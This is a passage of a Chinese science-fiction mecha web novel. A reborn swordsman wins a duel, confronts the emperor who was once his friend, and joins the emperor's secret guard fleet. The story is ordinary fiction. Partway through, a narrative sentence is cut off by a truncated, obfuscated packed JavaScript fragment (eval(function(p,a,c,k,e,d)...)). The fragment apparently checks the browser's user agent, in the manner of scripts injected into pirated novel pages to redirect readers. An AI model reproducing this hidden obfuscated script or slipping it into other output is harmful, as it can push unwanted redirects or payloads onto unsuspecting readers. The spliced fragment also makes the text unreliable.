凭借武术,最好的结果也只是这样僵持下去,但他发出的每一刀都能被对方破解,等到对方再发出最后的那一剑时,他已避无可避。从技术层面来说,他已经输得不能再输,他甚至回想不起自己是从哪一个点开始失败的,大卫心底终于一横,这是战场,而战场的胜负不只因武术而定,他心里还有不甘,他从来没有在几万人的面前败退过,这次也不想! 他们之间还有一个决胜的因素,这个因素能翻转一切!他们的机甲有天渊之别! 大卫一向自信于自己的刺杀术和武术,不喜欢以机甲的优势压人,但这一刻他已然别无选择。他在心底说:对不住了!在我动用机甲的特殊状态的时候,我就已经承认你比我强大。如果我们的机甲处于同一个层次,我连一点机会都不会有。但是我不能输,我从来没有输过!这次也不能! 答应过的,我……绝对不能输! 大卫闭上眼,再猛地睁开,目光如两道电射,一股血性从心里拔起,“狂雷之鬼”,死搏的勇气! 常型000-E类改-夸父,异化状态·逐日! 浓厚的白色雾气从夸父上升起,它的表面温度似乎忽地飙增,袅袅的烟云蒸气笼罩这具苍红色的机甲,身形峭拔如巨大的枯骨,若隐若现,真如太古年间的鬼神。 终于撑不住,还是使用特殊状态了么……阿龙迦心中平静,毫无波澜。他保持着防守姿势,凝神内视,精神守一。 他的心中正观想着一口剑,缓缓地翻转着,这是他的心之剑、自我之剑、魂灵之剑,这口剑杀了太多的人,已经染成了铁锈般的深红色,却锐利而妖异得不可思议,多年的淬炼中,像是有某种妖魔般的生命在剑刃上滋生,深红色染在清澈透明的剑身上,美丽森然得眩目,生动得仿佛随时会剖开胸膛跳跃出去。这柄剑翻转的同时,血光所至,照见了他自身的一切念头,也照见本性真我,此刻皆安宁蛰伏如沉睡的凶兽,沉在剑下。 耳边仿佛有一个声音在问:“逆拘龙之术,知道这刺杀的终极之术,前置功课是什么吗?” 他的声音和年少的自己重合了:“是冥想。” 数十年前,大屋,枯瘦如鹰的老人和他对坐。 “我听说你在学宫修习的刺杀术有成?” “老师说得没错,学生已经通过考验,得到‘圆满’的许可。” “不错。既然如此,我传你最后的终极一术。你的技术已经凭临绝境,然而不圆满的地方却在于你的心灵,你没有释放本心之术。”老人褶皱中眯起的双眼忽地睁开,目光如剑,“我见你心中有火,大火,焚烧世界的火焰,然而却只是徒然地拘在心底,烧灼血肉,人心中的束缚太多了,怜悯、犹豫、畏惧、悔恨……你亦不能免,然而心有游移,不能登临极点,是懦夫的行径!人们都叫你‘龙’是么?可是哪里有龙被束缚在大地上?” “我欲传你古地球时,禅宗炼心之剑,这一剑的名字叫做‘心归正·狂龙天’,斩心也斩我,是死寂中催发心中狂龙的绝境之术。人心需得达到极致的静,极致的空,古语说“心猿归正”,人心就像猴子那样跳脱,只有看清所有情绪,累加所有情绪,最后释放的一瞬间,极致的狂龙会从寂静中挣脱一切桎梏,对狂龙来说,连这个世界都是束缚,你是龙,是鲲鹏神鸟,是一阵自由无形的大风,你的世界该只有天空,只有向上,永恒的向上!” 说到最后,老人几乎挥舞大袖,天地间有雷声骤起,窗外天空昏暗,阴而欲雨。 “上了笼头的神骏,石锁压住的狂龙,今日,我放你自由!”老人忽地收敛一切行径,目光冷冷地直视阿龙迦。 “石锁压住的狂龙……”阿龙迦低头笑笑,“老师是在说我么?” “不是你,”老人语气冷漠高远,侧头去看晦暗的天空,雨滴千万,都坠落在鹰隼般苍老的双眼中,“我是在和你心中还没有醒来的那个人说话!这世界已经走到行将毁灭的终点,再也不需要满眼希望的孩子,只需要魔鬼一样的英雄!血河中拔起的英雄!” “老师,学生有一个问题。” “说。” “这一剑只能在发在心中么?不能斩出?” “如果 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时间往后再拨一年,这一年他十八岁,结束了在帝托里尼学宫十四年的修行,十四年中蝉联星环总区大比第一,名震帝都,横压一世,所有天才的光芒在他之下都只能流星般黯然熄灭,刺杀术推至大圆满,身成混乱纪元后三千年中第一个刺杀术“绝顶”,被当世誉为“将帅一体”,未来的“天下第一名将”,这一年阿龙迦有朋友有信仰,斩出的每一剑都以希望为支撑,煎熬着他绝高的梦想和绝大的意志,也是怀抱着这样的心情,万古之后,他终于真正地创造出了人们虚构出的“逆拘龙之术”,当年他终于发出这一剑时,似乎掏空了肺腑熬干了血肉那样,心中却仍勃发着他和朋友们的约定与承诺,那些泡影般的梦想鲜活地跳动。 然而老师鹰隼般的目光从过去洞彻,也洞穿了他短短几十年的人生,寥寥几语就钉下了他的未来:这世界根本不需要满眼希望的孩子,只需要魔鬼一样的英雄!再十年的争战,他终于在血腥中褪去那身充满希望充满幻想的年轻人的躯壳,苏醒为呼吸天地的狂魔,鲜血淋漓,再也不需要仁慈、希望,和梦想,这个时代,凭临战场,一切只有血与火中的毁灭!他的名字所至,仿佛魔鬼行于地上,让所有人仰望、畏惧、胆寒,甚至不敢说出那三个字,他的确是前无古人后无来者的“天下第一名将”,每逢征伐,无论对象,必行凌厉酷忍近乎邪道的杀伐之术,却战无不胜,令人闻风丧胆。 而后他也像一切狂魔般被烧死在火中。 轰鸣声大作,烟云蒸汽中,对面苍红的夸父已经像神魔般“睁开了双眼”,像是有生命降临在那具机甲中,一丝令人悚然的灵性微微生出,它的形象忽然生动起来,停顿的一瞬后,红影如高山拔起,双刀仿佛风卷狂云迎面而来! 阿龙迦居然不闪不避,立在原地盘踞如石,他舒展十指,缓缓握剑。 是时,距离他第一次挥出“逆拘龙”十七年,这一次,他身边再没有任何一个人,再不怀一切光明梦想,终于举世皆敌,每一个念头都向下坠落,如漆黑的陨星,落入毁灭的深渊。 握剑时一切收束为完全的死寂,心中那柄观想之剑倏然崩散,心底最深处现出令人憎怖的原貌,那是一口漆黑的井,漆黑的灭世的狂魔在井中仰望天空,孩子一样的脸儿,双眼纯黑,带着微微的迷茫微微的忧愁。井中埋着生死间的大仇恨、大破灭、大恐怖,他临死前的大愿似乎还回荡在井中:“背叛我的,当叫死亡展翅降临在每一个人的头上!” 死而再生,他终于明白了许多年前老师未尽的意思,狂魔般的英雄,英雄般的狂魔,以大恨大愿磨剑,则无往而不利也,万事万物皆可杀! 这世界不需要英雄,地狱般的时代中只有魔鬼才能超拔!他的心完全地沉没进漆黑大恨的最深处,如果让昔日的师友们见到,也许会感叹一句:你已入全然的邪道。 最后一刻,刀锋扑面的瞬间,心底的漆黑中,像有一滴水坠下,刀风滚滚下压,吹得水滴微微一摆,坠入无边的寂静和黑暗。 这一滴水泛起了万顷海面的惊涛骇浪。 黑暗震颤,一股穿透时光的伟大力量磅礴地荡开,极深的心底中,响起悠长的龙吟,再没有那么撼动心魂的吼声,吼声中狂龙的魂魄穿透他的胸膛去向远山大川去向大海和天空,他的剑势随之发出,没有人能看清那一剑,划破光阴划破生死,这是苍天之怒,伏尸百万! 逆拘龙,绝天海。 一息后,包裹两具机甲的烟云蒸汽无力地消散,台上的一切都显露在所有人眼中。 夸父如一具亘古的雕塑般顿住了,它手中,用于格挡的银色双刀都被无可匹敌的伟力崩断,刀片下坠,银光残破。 银闪铁青色的剑锋堪堪停在夸父的胸膛前,这无与伦比的合金居然深陷下去,驾驶舱中的大卫心中骇然欲裂,那一剑的剑风居然贯穿了夸父,毁灭的剑意逼入驾驶舱深处,直穿他的头颅,他忽然觉得头颅冰寒,而眉心剧痛。 他伸出手去摸,一滴血滚落在他指尖,额上缓缓开裂出一道细长的血痕,从天灵直至眉心。 “我……已经……死了么?”他心中不可抑制地浮起这个想法。 意识到对方在最后关头留了手,自己在这必死的一剑下留了性命,大卫升起的第二个想法是心如死灰,完全不可匹敌! 世间焉有此人哉? 大卫修行的十几年中,因为出身的特殊,交手的各路名将大家不知凡几,但从无一人给他留下如此鬼神般高大莫不可挡的印象,像高山投在大地上的影子,其他人只能如匍匐的蚂蚁般被笼罩。 也许确实是那个人的学生吧?他默默地苦笑,那个……改变了一整个时代的人! 那么输的也不算那么冤!大卫想起自己之所以被称为“近十年刺杀第一”,而不是“刺杀第一”的原因,就是因为他错过了“那个人”在世的时间,他从来没有和神勇遍传群星之环,光辉照耀向前向后半个世纪的千叶葵花总舰队长“猩红之龙”比试过! 而“猩红之龙”才是公认的“绝杀第一”! 人们普遍认为他较十年前旷世的英雄要逊色一筹,不能比那些战场血河中奋起的人物,才冠以他“近十年”的约束。 大卫翻出机甲的驾驶舱,如今终于能和那个人的学生一比,才终于明白自己的渺小,往前十几年的骄傲都像太阳下的薄雪那样脆弱,他脸上总是带着的微笑不可避免地苦涩了,“我认输!你……很厉害。” “大人想见你,跟我来。” …… 阿龙迦跟着大卫·亚伯拉罕,在万众艳羡的目光中登上白鹰座,他的心境还留在发出逆拘龙时的死寂,踏过一扇扇舱门时,只有一个想法留从心底:到底会是谁呢? 最后一扇内舱之门打开,洁白的仿佛没有上下之分的内舱出现在眼前,墙壁以完美的白色六边形组成,微微闪烁的数据流从六边形边缘流过,这每一面六边形既是屏幕的同时,也是性能强大的光子计算机,仅仅只是这一架白鹰座,算力之高,加起来甚至能支撑一场星团级战争的后勤运算。 内舱的尽头,有一面六边形屏幕是激活的,巨大的光屏被投影在前方,投影纤毫毕现,俨然是会场中的一切。 光屏前立着几个护卫制服的人,以众星拱月之势,拱卫着一袭深红色的大氅。看到那袭深红色的大氅,阿龙迦的心从死寂中微微地搏动起来,心底漆黑涨潮,狂魔睁眼,会是……谁? “哦,来了么?”那一袭深红色的背影转过身来,面容清秀,态度随和,仿佛亲切的兄长,“你很厉害,比试的优胜者。” 两道目光相交的瞬间,仿佛空中擦响了一道雪亮的雷霆,两个完全出乎他意料的字像从灵魂深处蹦了出来:陈,寂。 看清那个人的片刻,只是那一瞬,仿佛有人在心上调弦,拨动了一架满是灰尘的枯木琴,灰尘簌簌而下,琴音袅袅,还是带着许多年前的醇厚和明亮。 他看清楚了那张脸,脸庞清瘦,眼角刻着岁月的纹路,神情那么熟悉那么陌生,像是忽地回到很多年前,还有很多烦恼很多喧嚣的时候,学宫的阳光下,一支杏花开放,朋友们凝视彼此坚定的眼睛。 一句话自然而然地从他的心底流淌出来:你老了。 这么多年了,我们都老了啊。 却只是那一个瞬间的事,那个充满阳光的下午,记忆的碎片梦幻泡影也似地熄灭了,下一秒,生死间漆黑的恨意、滔天的血、鬼魂的怨仇大潮一样从心底席卷而来,漆黑的,漆黑的再也不见天日。心底的狂魔仰天嘶吼,像是有万鬼齐声怒吼,恨意冲天不息:陈寂! 黑……真是很黑啊……伸手不见五指。这么多年,他一直徘徊在漆黑的井底,煎熬着临死前的怨恨熬成灭世的黑水,如今终于以恶鬼的姿态重临世间,看见还以血肉之躯活着的故人,他心中不由得生出巨大的恶毒的欣喜,几乎想要露出血淋淋的笑容。 9. 09 陈寂 纯白的内舱中一片寂静。 数据流在舱内四壁流过,闪动微微的光芒。 微光映在皇帝漆黑的瞳子里,朦胧了他的目光。那张清瘦的脸上,笑容淡去了,笑意忽然变得很遥远、很遥远,像海上的雾气。 不笑的时候,兄长般的亲切就风吹般散去,皇帝周身透出冷漠的威严,一切都在这威严中微微地凝住。不止一人曾说他面无表情时显得难以接近,年少时像石头和木偶,当了皇帝后,便如大山俯瞰。 “比我想的,还要像啊。” 良久,皇帝在心底低声说。 他的目光跨过众人,看向远处的新兵。那张脸在他眼中是全然陌生的,可是那仿佛染血的轮廓,那个冷漠而空白的神情,雷霆般的目光从额发下照过来,熟悉相似得让人惊惧,仿佛故人的一瞥从地下投来。 是不是很多年前,故人也曾经这样站在那里和他对视? 就像昨日重现。 和驾驶机甲时浑雄的姿态相反,褪去银闪的新兵,完全是个十几岁的孩子,凌乱的红发像火焰般被吹动。 护卫们都以为他会有副凶狠或凌厉的长相,然而红发下露出来的,却是张清秀的孩子的脸儿,脸颊消瘦,眉宇间带着淡淡的稚气,是张让人看了心里亲切的脸,配着那双明亮的深红色瞳子,微笑的时候,也许会像是映照阳光。 “这么一看,果然比我还小。”大卫托着下巴。 “孩子,我们不该这么晚才见面。我想,我应该认识你的父亲和老师。”皇帝的声音忽然疲倦了。 “您认识的该是我的老师,我没有父亲。我是个孤儿。” “只是老师么?”皇帝疲惫地笑笑,“你很像他。” “他的学生自然该像他。” “看出来了,你学了他的每一剑,他从不教别人那么多,他很看重你。” “也许。” “那么给我讲讲你和你老师的故事吧。” “我是边缘星域的原住民,年幼时异潮入侵,家乡成为了污染区,家人都在祸乱中丧生,直到千叶葵花舰队来援,元帅正好遇见我欲拔剑作死搏,看中了我的天赋和勇猛,于是传授我武学,庇护我直到离开。” 这是阿龙迦提前就想好的措辞,不那么精密无缺,留给人想象的空间。 “拔剑作死搏……果然神勇莫当。你那时才多大? “七岁。只要有与敌偕亡之心,纵使手不能提之辈,也能在绝境拼死。” “快十年前么?还是,很好的时候啊。他那时确实在边缘星域。”一声叹息。 没有人明白皇帝这句话的意思。对于人们来说,安定的现在显然要比十年前好得多,可在皇帝的眼中,那些动荡的日子中像是也有什么值得怀念的东西,他发出那声叹息的时候,像是在齿间磨动发涩的时光。 “那么你确实是他的学生了。这世上再没有第二个人,能挥出那些他留下的剑式。没有他的指导,寻常人连理解都不能理解这些匪夷所思的剑术。那些剑式他也曾教过我们,可是我们中最杰出的也只掌握了‘雀闪’这一式,那是如今的鬼刺狐舰队长:‘铁棘手’唐璜。” 唐璜……阿龙迦眼前浮现出沉默瘦削的少年,总是有点呆呆的,站在人群中时,仿佛一株枯树,比他们都要年幼一点,矮小一点,一双倔强的眼睛闪电般明亮。当年就好像是他的兄弟。他如今也长大了么? 阿龙迦心里忽地想笑,什么“铁棘手”的,听着真是很遥远。 不过既然他站在这里,已经死过了一次,也许所谓的兄弟只是他以为的。他以手按胸,“愿为陛下效力。” “我已看过你的档案,39%的共振率,万中无一的天才,我可以给你两个选择,如果你留在后备基地,不出一个月,就会有特殊部门的人来对你进行考察,通过即编入‘最高机甲执行所’,在那里,你将有机会驾驶保密级别‘绝禁’的起源级机甲,成为一名光荣的起源适格者。 在帝国军队中,每一名起源适格者都相当于少将阶衔的军官。你在下面看见海因里茨了么?他能成为大校是因为当年二次星环战争的时候打了一场漂亮的防守战。只要成为一名起源机驾驶员,你就能成为他的上级。” “起源级机甲?”阿龙迦适当表现出疑惑。 “唯一性机甲,起源机,或者绝禁机甲……这些描述的都是同一个东西。人们日常使用的机甲是民用级,军队用的则是功能级和高危级机甲,而起源,指的是高危之上的那些机甲。那些已经不能用逻辑,和人类的科技揣度的机甲。从这个等级的机甲开始,已经踏入神秘学的领域,不可全知,不可妄测,便如各大宗教经典中描述的神和魔。” 阿龙迦点头。 他对这些了然于胸,实际上,留在基地,加入最高执行所就是他原本的计划,他在入伍检测前就做好了打算,特意将同频率调到骇人的39%,就是为了吸引最高执行所的注意。 但最高执行绝不是什么好地方。听到陈寂说“光荣的适格者”,他心中止不住地冷笑,光荣?可光荣的代价是什么?想要驾驶那些机甲,只能用命来换!人类只是被献祭给这些机甲的血食而已,驾驶它们的每一分每一秒,都是在透支自己的生命! 他上辈子正是第一起源适格者,哪怕以他不可思议的同频能力,每次踏出起源级机甲也是浑身渗血。蚂蚁要操纵腾飞的长龙,哪能不付出代价? “第二个选择,加入‘龙’旗舰。你说要为我效力,你无论加入哪一支军队,都是为我效力,但是我现在给你直接加入‘我们’的机会。龙旗舰是直属于我的舰队,不在五大舰队之中,不入任何机关部门,一切以隐秘为主,名义上只是我的‘护卫舰队’,你如果加入,也许前途并不像加入五大舰队那样光明。” 来了!阿龙迦心里一动。这就是他拼着露出许多破绽也要赢下比武的目的! “我自愿加入龙旗舰!”他再次郑重地以手按胸。 龙旗舰,游离在五大舰队之外的,那只幽灵般的“影子舰队”。这幽灵的影子庞大到覆盖整个中心宇宙,其总体规模之大任何人都只能窥得侧面,是陈寂不可打败、不可推翻、统治强硬如此的直接原因。 这个叫做龙的幽灵游荡在宇宙之中,仿佛一只监视窥探一切的巨眼。整支舰队,所有内部结构、舰船网络,全部由陈寂一个人组建,密不透风。上辈子还是挚友时一切也会经手阿龙迦,然而建立“龙”的时候,陈寂已经是皇帝,阿龙迦刻意回避了,不去了解任何有关龙旗舰的事情。 到了今天,他们已经是死敌。虽然阿龙迦本来的想法,是借比武迅速进入五大舰队核心,暗中把握当前大局,但既然来的是陈寂,转瞬之间,他已经决意要去了解整个帝国中,唯一一个他一无所知的组织,“龙”,这个史页背后,星云尘埃般漂浮的巨大阴影。 “你的老师是我的故人,我也算是你的长辈,既然你愿意加入,你这样的身手,我自然不能埋没你。我随身的这些护卫,都编入龙旗舰,领‘子舰队长’的头衔,既然你以碾压之势正面打败了大卫,那么前置训练都可以免去,从今天开始,你就代大卫的职,成为护卫长。”皇帝平淡地就说出了重大的决定。 “大卫·亚伯拉罕,”皇帝语锋一转,目光锐利,“你即日起削职为普通随身护卫,但暂时仍履行护卫长的工作,同时命你辅佐新护卫长,交接任务,带龙雷熟悉一切护卫队职责。” “耶罗真如,大卫·亚伯拉罕年轻气盛,难以依靠,避免误入歧途,命你跟随这两人,辅助一切工作,随时向我汇报进展。” 身形高大,面容粗犷沉默的男性护卫,从耶罗银身边踏出:“是,陛下。” 大卫苦笑,心中百感交集,明白皇帝在敲打自己,也一同行礼:“谨遵陛下指令。” “到达戴克里先堡后,我给你们一天的自由时间。”皇帝负手,“明日晚上,在圣庭举行正式宣布第五次进攻的夜宴,记得参加。” …… 戴克里先堡 花园中,石蒜花盛放如一望无际的红潮,滚滚的酡红一直接到天边。 每至夏末,戴克里先堡的草地上都像是铺开了一匹美丽的血色重锦,向四面八方卷开,覆盖整片大地。纤细美丽的石蒜花积成花海后反而生出一股无与伦比的浪漫和浓烈,微风吹过泛起层层叠叠的红色,每个走入戴克里先堡的人,第一眼都会被这副景象震住,仿佛撞见滔天红海。 这座以古地球罗马皇帝的行宫命名的堡垒,素来以壮丽和奢华闻名,纯白的宫殿簇拥在花海的深处,古罗马式的巨柱撑起艺术品般的天顶,恢宏的三角楣,上面刻着众神的浮雕。 与其说是住处不如说这是一座万神殿式的神庙,人站在这些巨人般的柱子下渺小如灰尘,要是有人来到这座雕刻曼妙绝丽的三角楣下躲雨,也许会觉得自己是意外闯入神国的侏儒。 这都来自往前数三任的先帝,按辈分算是陈寂的曾爷爷,此人前半生活过了最后的亚安稳时代,没踏入过战场,反而从小熏陶出了一身浪漫优柔的文艺气氛,深爱古地球时期各类文明的艺术风格,这座古罗马神庙般的行宫,中天塔上飞檐叠黛的小阁,哥特式教堂般修长嶙峋的圣庭,种种种种,皆是他下令复原或建造。 傍晚,十七点整,女侍长神色紧绷地等待在门前,两列内侍在她身后一字排开,昂首挺胸。 她有力地拍打手心,仿佛严厉的芭蕾舞导师,“大家都打起精神!把腰直起来!雷!马修!莉莉!不许打哈欠,眼神不要飘忽!不能让陛下看见一点不得体的地方!” “是!奥丁森女士!” “好的,奥丁森女士!” 女侍长从每一个内侍面前走过,一身套装,头发灰白盘成发髻,踏出的每一步都像跺在小羊皮鼓上那样铿锵有力,目光有如老练的屠夫挑剔羔羊,缓缓划过领花、内衬、西服肩线、裙摆褶皱,凌厉苛刻如同剑扫,每一缕纹理在她眼中都仿佛透明。 她以指尖点在每个不合格的内侍肩上,仿佛以手刀为骑士授勋,她用目光冷冷地示意,每个被她看到的内侍都慌忙地弯下腰去,要么去擦自己的皮鞋尖,要么努力抚平自己的裙角。一瞬间这群年轻人都仿佛是女侍长统率的小兵,几枪之下丢盔弃甲,在首长慑人的重压下东倒西歪。 虽然身处皇家行宫,但这一刻女侍长顾盼生威,老去的眼角流转出凛凛的剑气,瞳子射动闪电般的利芒,所过之处哀鸿遍野,简直威风如百战的将军! “记住了,待会手脚一定要麻利!要像主人背后的影子那样完美而悄无声息!既然来了这里,就是这座城堡的一部分,我们的座右铭就是“要比墙上的所有雕塑都更沉默’!” 十七点十五,女侍长倏然立正,姿势标准如一切军人,行的赫然是一个肃穆的军礼,“恭迎陛下驾临戴克里先堡!” 那具巨大的白鹰座在狂风中降落在庄园外,石蒜花海扫出巨大的涟漪,仿佛锦缎翻出红浪,大门打开,披着大氅的皇帝从花海中的青石大道上走来。 步道上的石灯一盏盏亮起,人群远远地跟在后面,细雪般袅袅的红花被大风吹起,落在皇帝飞舞的大氅上,透过细雪皇帝却还是一如既往的形容,黑色的头发黑色的眼睛,苍白的脸,仿佛素描的人像,连秾丽的石蒜花都不能为这幅画添上一抹颜色。 “劳拉,好久不见,辛苦你了。”皇帝对女侍长劳拉·奥丁森温和地微笑。 立刻就有内侍从两侧取走大氅和内束的风衣,留下的是菱格暗纹的贴身西装,细节的点缀让皇帝变得亲切起来,配上那个温暖的笑容,仿佛一抹阳光晕在画上,素描的人像突地眉目生动,变作笑容随和的年轻人,就像劳拉家里的所有子侄。 劳拉心中的紧绷忽地就放下了,“不辛苦!谢谢陛下关心。” “不用叫我陛下,劳拉你看着我长大,就像小时候那样称呼我就好。” “是……小寂。” 劳拉迟疑地吐出那个称呼。 她确实看着陈寂长大,也确实曾这么称呼他,可那时候他只是个私生子,先帝带着所有皇帝成员来这所行宫,其他人都能在壮丽辉煌的厅堂中享有一席共进盛宴,他却只能抱着腿坐在檐下,默默地看那片石蒜花海,夜幕下看过去像一道透明的影子,让人心酸得绞起来,可是这么多年他已经长大了,成为了皇帝,消灭了他的父、兄、敌人,征服一切主宰一切,她再也不能把他当作当年那个苍白寂静的孩子看。 “最近旧伤还有复发吗?劳拉你不用出来接我,把所有事情交给别人做就好,我让你留在这里,不是让你操劳的。”劳拉跟随着皇帝踏入殿内。 陈寂总是记得很多小事,只要他愿意,总能熨帖得让所有人都满意,便如满怀关切和热心的朋友,比劳拉所有的侄子加起来还要贴心十倍百倍。劳拉不由得也笑了笑,眼角拉出一抹深纹,一丝不苟的鬓角被风荡出银子般的一缕。 “旧伤没什么,只是我老了,已经感觉到精力不够用,也许很快就帮不上什么忙了。” 所谓旧伤指的是她在战场上受的伤。劳拉生命的前三十年是位军人,而后数十年为皇室服务,哪怕已经将近七十岁,她还是那么雷厉风行满身肃杀,笔挺如一只羽色银灰的苍老的鹤,是因为她确实是一位将军,一位身经百战的将军! 虽然实际军衔只是上校,没有到“将军”的级别,但她曾任剑齿虎第二舰队第六师师长,统率剑齿虎独特的“胤神星之矛”战列巡洋舰群,那种狰狞可怖的战巡旗舰,成群启动时仿佛黑色的巨鲲游过天空,遮蔽恒星,一切阳光也为之寂灭。 劳拉就是来自这样肃杀的军队。纵使医疗技术已经登峰造极,积年的暗伤还是令她的服役期很短,退役后,深得信重的她被皇室调到这所行宫,与其说她是女侍长,她其实是这所皇家行宫的警卫长。但这里常年空荡,先帝不喜石蒜花海,几年都来不了一次,更从来不在这里过夜,没有什么好守卫的,所以皇室把她调来这里,其实是让她在这里安享晚年的意思。 皇帝果然摇了摇头,“劳拉,你已经帮了我们很多忙。” 两侧有年轻沉默的内侍上前,和皇帝确认晚餐和就寝的布置,不出劳拉所料,陈寂的回答全部是“没问题”和“都可以”。 陈寂对着这些年轻人时都是温暖宽和的,脸上一抹淡而又淡的笑容,仿佛所有人的兄长。劳拉看着看着,心中忽地叹了口气。内侍离开后,她开口道:“陛下,最近……您过的还好么?” 她还是选择以陛下称呼。 “不用担心我,我一直很好的,劳拉。”陈寂笑。 劳拉凝视着皇帝黑色的瞳子,十六层冰幕般收拢的水晶灯从天顶正中垂下,点亮了那双眼睛,虹膜上,一层清澈的光,仿佛水玉,瞳子深处却是深渊般不见底的漆黑。 在劳拉心里,陈寂一直是个有点奇怪的人,就像你看他的眼睛永远看不到底一样,只有无尽的纯黑色让人心里一跳,这个微笑的年轻人的形象也永远让人看不透。 已经成为一个大人的陈寂在她眼里是个没有任何喜好的人,没有爱好也没有偏好,他没有任何超出正常范围的对事物的喜爱,像运动和艺术这种常见的爱好都维持在“有涉猎但没有热爱”的程度,人总会有一些对小事的执着,像“吃菜的同时一定要配饭”和“穿衬衣领口上的最后一颗扣子一定要解开”,但陈寂没有。 你问他任何生活中小细节的问题,譬如“能不能用薰衣草混柑桔的熏香”或者“领带要剑纹还是圆点花的”,他都只会报以相同的笑容,告诉你“都很好”“都没问题的”,那不是他在假装随和,他根本不是需要笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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令人窒息的孤寂啊。那时候她做了什么?她好像只是陪那个孩子坐了坐,夜色中一起眺望翻涌的花海。 孩子的幻影抽长为拾阶而上的背影,劳拉目送那个背影登顶,过了这么多年,那个背影好像还是孤零零的。 不知道为什么,忽然之间,她想起了他总是披着的那袭大氅,心中微微一动。她忽然想起来自己遗漏的地方,皇帝是有偏好的,仅有的一个偏好,纵使非常隐晦非常难以察觉: 他偏好红色,深红色。 …… 阿龙迦凝视着全身镜中的自己。 他已经换上了随身护卫的制服,色作纯黑,前胸斜钉两排焕然发亮的银扣,肩线衬得他修长挺拔,竖起衣领,那张孩子的脸也添上一抹冷肃。 阿龙迦盯着镜子里的人,红发凌乱如火焰,脸颊消瘦,神情冷下来的时候,眉宇间有一丝冷冷的神气,有些像他当年了。 “不错不错,穿着很像回事嘛,”大卫的声音从一旁响起,“我还怕你显得太年轻不好服众。” 阿龙迦没有接话,只是淡淡地看着他。大卫的脸垮下来,“小小年纪别这么苦大仇深!我说的话没别的意思!我也没存别的心,皇帝陛下叫我辅佐你我就辅佐你,你确实很厉害,我输得心服口服,我现在只想跟你化干戈为玉帛!你别这么看着我,大哥我以后跟着你混还不成么?” “跟着我混?”阿龙迦只是微微地笑,“护卫长少年英雄,闻名天下,不敢当一句大哥啊。” “你现在才是护卫长!我是真存心要辅佐你的,我姐姐要是知道我不仅输了还暗地里作妖,会杀了我的!”大卫急眼。 “你姐姐?” 这问题问出去大卫只是讪笑不说话。 阿龙迦思索了片刻,想起大卫的姓氏亚伯拉罕,一个如雷贯耳的名字忽地浮上心来,某个耀眼的影子在记忆中闪现,那是个蔷薇猛虎般的英雄和钢铁般坚硬可靠的盟友。那样猛虎般的姐姐,会有这种野马一样的弟弟么? 如果真是她的话,明晚的圣庭夜宴一定能见到。阿龙迦仔细端详大卫的面庞和金发,最终不得不承认有一丝隐隐约约的熟悉,这难道真的是她的弟弟?重生以来第二次,阿龙迦发自心底地想笑,她那样的人居然会有这样的弟弟么? 不过如果真的是她的弟弟,看在她的面子上,不能把这小子坑得太惨。阿龙迦向他点点头,“还有什么装备吗?” 大卫闻言打了个响指,从身后拖出一只合金质地的密封黑箱,黑箱上居然有两道指纹加密锁和一道虹膜锁,这箱子的加密方式,至少要两名护卫同时在场才能打开,大卫叫来了一直在门口站岗的耶罗真如,随着“滴滴”的确认声响,黑箱缓缓开启,一片火光般的苍红色从里面映出。 “龙旗舰的通用甲,常型000-E类改-夸父,目前唯一突破了纳米技术极限的机甲。虽然不是轻量型机甲,但勉强可以压缩到随身佩戴。” 大卫从箱中捧出了那具夸父,它呈现出贴身软甲般的形态,表面晶莹,仿佛有内蕴的火光在流淌,不像真正的便携式机甲那种“流体态”,也不像其余坚硬笨重的金属盾或者基座,它介乎于二者之间,兼具柔软和甲胄的光泽。 “折叠的两把等离子收束剑分别在软甲的左右两臂,至于磁轨枪和光束喷枪则会日后配给你,目前给你的只有一把等离子束能枪。软甲贴身佩戴就行,它的柔韧和贴合度不会影响你的任何日常工作,不用担心软甲的展开会被外衣挡住,编程过的微单位会像水银一样‘流’向最外层。” 大卫将贴身甲胄递给他,有点挤眉弄眼:“你的了!拿着是不是很开心很激动?这可是最好那一级别的机甲了!说起来我都有点羡慕,银闪才穿几天,就能鸟枪换炮了,我当年银闪可穿了整整一年!” 阿龙迦不置可否,“你知道这具机甲里的‘躯壳’是什么级别么?” “陛下提过,说是已经来到了‘高危’的边缘,再多一步就会踏进未知的领域,成为‘起源’级。” 阿龙迦心中一动。居然到这个地步?军队中一般绝不使用等级太高的异兽躯壳,因为失控的风险太高,而且越靠近“起源级”的躯壳就越难以量产。 到了起源级,每一具内嵌的异兽躯体都是唯一的,其血肉无法以现有生物技术克隆,所以每一具起源级机甲都独特无法复制,这也是为什么它们又被称为“唯一性机甲”。 阿龙迦打量着手中的夸父,软甲贴在手中有股微微的暖意。半步起源级机甲。这就解释了为什么他第一眼看见时,就察觉有一股绝强的精神力量凝聚在上面,恍若实质。 “等级这么高的机甲,特殊状态很厉害吧?” “你刚也看到了。”大卫脸上无光起来,“再厉害有什么用?还不是被你一剑劈穿?夸父确实有自己的异化状态,不过这种异化状态很特殊,不像其他的机甲,爆发起来分什么一阶段二阶段,夸父的异化状态是个持续的过程,没有阶段之分,整个阶段就像在‘唤醒’这具机甲,持续的时间越长,唤醒的程度就越高,威能拔升的就更快,据说当异化状态开启超过45分钟后,夸父能一步踏破高危和起源的界限,超凡入圣,踏入起源的领域。但这谁都不知道是不是真的,因为夸父的异化状态下没人能撑那么久,就算是我,坚持三十分钟都差点全身衰竭,被拽出机甲时像个血人。” 持续性唤醒?这个说法很有意思,让阿龙迦想起了某几具封在大地深处的,古神般狰狞的机甲。他在心里把对夸父的评价又调高了一个等级。 “不说这个了,你还是第一次来君临吧?我明天带你去转转。皇帝陛下说给咱们一天的自由时间,明摆着就是要我们带你熟悉熟悉,不能连自己工作的地方都两眼一抹黑吧?” 大卫这小子又像野马发疯,自来熟起来一把勾住他的肩膀,眉毛飞舞,“嘿!你走运了!哥哥我可知道君临很多好地方!” 10. 10 万人碑·上 大卫·亚伯拉罕一把拍下发动按钮,大喊,“坐稳了!” 飞艇震动起来,阿龙迦闻言以不可思议的敏捷,一个翻滚缩进副驾驶。 引擎轰鸣,沛然的伟力一瞬爆发,飞艇忽然化作一道绚丽的银流,冲天而起。 